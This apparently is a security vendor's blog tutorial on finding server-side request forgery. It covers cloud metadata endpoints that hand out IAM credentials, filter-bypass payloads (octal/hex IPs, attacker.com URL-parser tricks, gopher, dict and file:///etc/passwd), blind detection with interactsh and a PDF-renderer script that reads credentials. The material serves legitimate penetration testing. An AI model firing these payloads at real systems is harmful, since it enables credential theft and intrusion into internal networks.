SSRF Testing: How to Find Server-Side Request Forgery (OWASP A10)

Server-Side Request Forgery (SSRF) made OWASP's Top 10 in 2021 as a standalone category — the first new addition in years. Its inclusion wasn't theoretical. SSRF had become one of the most consequential vulnerability classes in cloud-hosted applications, enabling attackers to pivot from a public-facing application directly into internal infrastructure, cloud metadata services, and secrets management systems.

The core mechanic is straightforward: the application makes a server-side HTTP request to a URL that an attacker controls. Instead of pointing to a legitimate external service, the attacker points it at an internal resource — the AWS instance metadata endpoint, an internal API, a database management interface — and the application helpfully fetches it and often returns the content.

This guide covers how SSRF works in practice, how to find it during testing, and the specific cloud-era patterns that make it so dangerous.

How SSRF Works

Any feature that makes a server-side request based on user-supplied input is a potential SSRF surface. Common vectors include:

URL fetch features Webhook configurations, PDF generators that render a URL, "preview this link" or URL-to-screenshot features, RSS feed importers, social media post preview cards, and any "fetch content from URL" functionality. The application literally fetches a URL you provide.
Image and file loading from URLs Profile photo upload-by-URL, document import-from-link, avatar fetch, or any feature that retrieves a file from an external URL rather than a direct upload. The server fetches the resource and processes it.
API integrations with user-controlled endpoints Webhook destination URLs, callback URLs, OAuth redirect URIs, payment gateway callback endpoints. Any configuration where the user specifies a URL that the server will later call.
Internal service request routing Microservice architectures where a gateway forwards requests to backend services based on URL parameters. If the service name or URL is partially user-controlled, it may be possible to route requests to internal services.
XML/JSON processing with external entity references XXE (XML External Entities) is a related vector: XML parsers that resolve external entities will fetch the specified URL server-side. JSON processors with URL-resolution features can exhibit similar behavior.

The Cloud Metadata Endpoint

SSRF is especially dangerous in cloud environments because of the Instance Metadata Service (IMDS) — an internal HTTP endpoint that every cloud VM can reach at a fixed IP address. This service provides configuration data, instance identity, and most critically: temporary IAM credentials for the instance's attached role.

The endpoints you want to test for accessibility via SSRF:

# AWS EC2 Instance Metadata Service (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data/

# AWS IMDSv2 requires a PUT token request first (more resistant to SSRF)
# But IMDSv1 is still common

# Google Cloud Platform
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires: Metadata-Flavor: Google header (sometimes bypassable)

# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=...
# Requires: Metadata: true header (sometimes bypassable)

Retrieving IAM credentials via SSRF gives an attacker the same permissions as the application's cloud role — which in misconfigured environments means reading from S3, calling Lambda functions, accessing RDS, or even lateral movement into other services.

Testing Methodology

Step 1: Find all URL-consuming parameters

Systematically enumerate every parameter that could contain a URL. Look for:

Step 2: Probe for basic SSRF

For each candidate parameter, test whether the server will fetch an internal IP address. Use an out-of-band detection service (Burp Collaborator, interactsh, or a simple netcat listener on a VPS) to detect blind SSRF — cases where the server makes the request but doesn't return the content.

# Direct internal IP probes
http://127.0.0.1/
http://127.0.0.1:22/
http://127.0.0.1:3306/
http://localhost/
http://0.0.0.0/
http://[::1]/

# Cloud metadata (primary SSRF target)
http://169.254.169.254/latest/meta-data/

# Common internal service ports
http://127.0.0.1:8080/
http://127.0.0.1:8443/
http://127.0.0.1:9200/  # Elasticsearch
http://127.0.0.1:6379/  # Redis
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:5984/  # CouchDB

# Out-of-band detection (blind SSRF)
http://your-interactsh-subdomain.oast.fun/
http://your-burp-collaborator.burpcollaborator.net/

Step 3: Bypass SSRF filters

Applications often implement allowlists or blocklists to prevent SSRF. These are frequently bypassable. Common techniques:

# IP address obfuscation
http://0177.0.0.1/        # Octal notation for 127.0.0.1
http://2130706433/        # Decimal notation for 127.0.0.1
http://0x7f000001/        # Hex notation for 127.0.0.1
http://127.1/             # Abbreviated form
http://127.0.1/           # Alternative shortened form

# IPv6
http://[::1]/
http://[0000::1]/

# DNS rebinding (if the filter checks DNS at request time)
# Use a service that resolves to 127.0.0.1 after an initial legitimate resolution
# Tools: dns-rebind.net, singularity of origin

# URL parser confusion
http://attacker.com@169.254.169.254/
http://169.254.169.254#@attacker.com/
http://attacker.com/..;/internal-service/

# Protocol abuse
dict://127.0.0.1:6379/info     # Redis via DICT protocol
gopher://127.0.0.1:25/_EHLO    # SMTP via Gopher
file:///etc/passwd             # Local file access

Step 4: Test for blind SSRF

Many SSRF vulnerabilities are "blind" — the server makes the request but doesn't return the response to you. These are still exploitable (they enable port scanning, service fingerprinting, and cloud metadata exfiltration if the data ends up in logs or error messages) but require out-of-band detection.

Set up an interactsh listener and probe every URL-consuming parameter:

# interactsh — open-source Burp Collaborator alternative
interactsh-client

# The client gives you a subdomain like abc123.interactsh.com
# Inject it into every suspected SSRF parameter:
# image_url=http://abc123.interactsh.com/ssrf-test
# webhook_url=https://abc123.interactsh.com/webhook-test

# Monitor the interactsh dashboard for DNS lookups and HTTP requests
# Even a DNS lookup confirms that the parameter reaches the network

A DNS lookup to your out-of-band domain confirms the server is making a request based on your input. An HTTP request confirms SSRF. Now you have a parameter to test further for internal resource access.

Step 5: Probe internal infrastructure

Once you've confirmed SSRF, use the vulnerability to map the internal network. The standard approach is to iterate through common ports on internal IPs and observe differences in response time, response body, or error messages:

# Port scanning via SSRF (observe timing differences)
# Open ports: fast response or content returned
# Closed ports: connection refused, fast
# Filtered ports: timeout, slow

# Internal subnet probing — try common internal IP ranges
http://10.0.0.1/
http://10.0.0.254/
http://172.16.0.1/
http://192.168.0.1/
http://192.168.1.1/

# Common internal service paths once you find an active host
http://10.0.0.50:8080/admin
http://10.0.0.50:9200/_cluster/health  # Elasticsearch
http://10.0.0.50:5601/                  # Kibana

SSRF in Common Frameworks and Patterns

PDF generators

Headless browser-based PDF generators (wkhtmltopdf, Puppeteer, Chromium) execute JavaScript when rendering HTML. If the application generates a PDF from user-supplied HTML, inject an SSRF probe:

<script>
  var x = new XMLHttpRequest();
  x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
  x.send();
  document.write(x.responseText);
</script>

<!-- Or via CSS / img src -->
<img src="http://169.254.169.254/latest/meta-data/">

Webhooks

Webhook configurations let users specify a URL that the server will call when events occur. This is an asynchronous SSRF vector — you configure the webhook URL, trigger an event, and the server calls your specified URL. Test with an out-of-band destination first to confirm the webhook fires, then probe for internal services.

Server-Side Template Injection → SSRF

SSTI vulnerabilities in template engines (Jinja2, Twig, Freemarker) can often be chained to SSRF. Once you have code execution via the template engine, making HTTP requests to internal services is trivial.

Cloud-Specific SSRF Scenarios

Target URL What you get
AWS EC2 credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE Temporary IAM credentials (AccessKeyId, SecretAccessKey, Token)
AWS user data http://169.254.169.254/latest/user-data/ Launch scripts, often containing secrets or configuration
GCP service account token http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token OAuth2 access token for the attached service account
GCP project metadata http://metadata.google.internal/computeMetadata/v1/project/ Project ID, numeric project number, custom metadata
Azure IMDS identity token http://169.254.169.254/metadata/identity/oauth2/token Managed identity access token for Azure resources
ECS task credentials http://169.254.170.2/v2/credentials/CREDENTIAL_ID Task role credentials — works inside ECS containers

What Automated Scanners Catch

SSRF pattern Automated detection Notes
Reflective SSRF (response returned) Good Scanners probe for localhost and metadata IPs; response content confirms the finding
Blind SSRF with OOB detection Good Scanners that integrate with Collaborator/interactsh can detect blind SSRF via DNS
Cloud metadata access (AWS/GCP/Azure) Good Metadata IPs are well-known; scanners probe them explicitly
SSRF via file URL scheme Moderate file:///etc/passwd probes work if the application reflects content
SSRF in webhook/callback fields Moderate Requires the scanner to also trigger the event that fires the webhook
SSRF via PDF/headless browser Limited Requires injecting HTML/JS and triggering a render — complex multi-step flow
DNS rebinding Limited Timing-dependent and requires infrastructure; rarely automated
Internal port scanning via SSRF Limited Scanners find the SSRF but rarely chain it to full port enumeration automatically

SSRF Testing Checklist

What Good Remediation Looks Like

SSRF prevention requires a defense-in-depth approach. No single control is sufficient because each can be bypassed independently.

Ironimo tests for SSRF across your application's URL-consuming endpoints — webhook configurations, file import features, PDF generators, and API parameters — using the same Kali Linux toolset professional pentesters run against production applications.

Scans include out-of-band detection for blind SSRF and probe cloud metadata endpoints to assess the real-world impact on your infrastructure.

Start free scan
← Back to blog